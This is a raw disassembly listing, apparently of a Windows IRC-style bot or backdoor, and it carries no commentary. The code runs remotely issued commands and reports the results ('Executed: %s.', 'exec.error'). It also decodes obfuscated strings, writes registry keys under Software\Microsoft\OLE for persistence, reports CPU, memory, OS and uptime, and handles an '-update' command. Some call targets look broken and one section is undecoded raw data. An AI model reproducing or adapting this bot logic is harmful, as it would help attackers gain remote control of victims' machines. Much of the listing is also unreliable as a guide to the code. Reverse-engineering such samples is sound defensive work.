sub_4017EE push eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E45 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E45 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8075 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F30 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2960000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 0A46EE850h, 6A900240h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 0E89050FFh, 23FB066h, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 0A32EE850h, 6A900240h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 3FAF21E8h, 448D9002h, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0A1EAE850h, 6A900240h, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 3FADE1E8h dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 9DE850FFh, 900240A0h, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 0E850FFFFh dd 23FAC92h, 24548D90h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh dd 9002409Fh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23FAB52h, 24448D90h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj nop call near ptr 2800BE7h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F30 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 2800BE7h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2840000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2830000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5FADE9 add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 282110Eh lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2940DFCh nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] 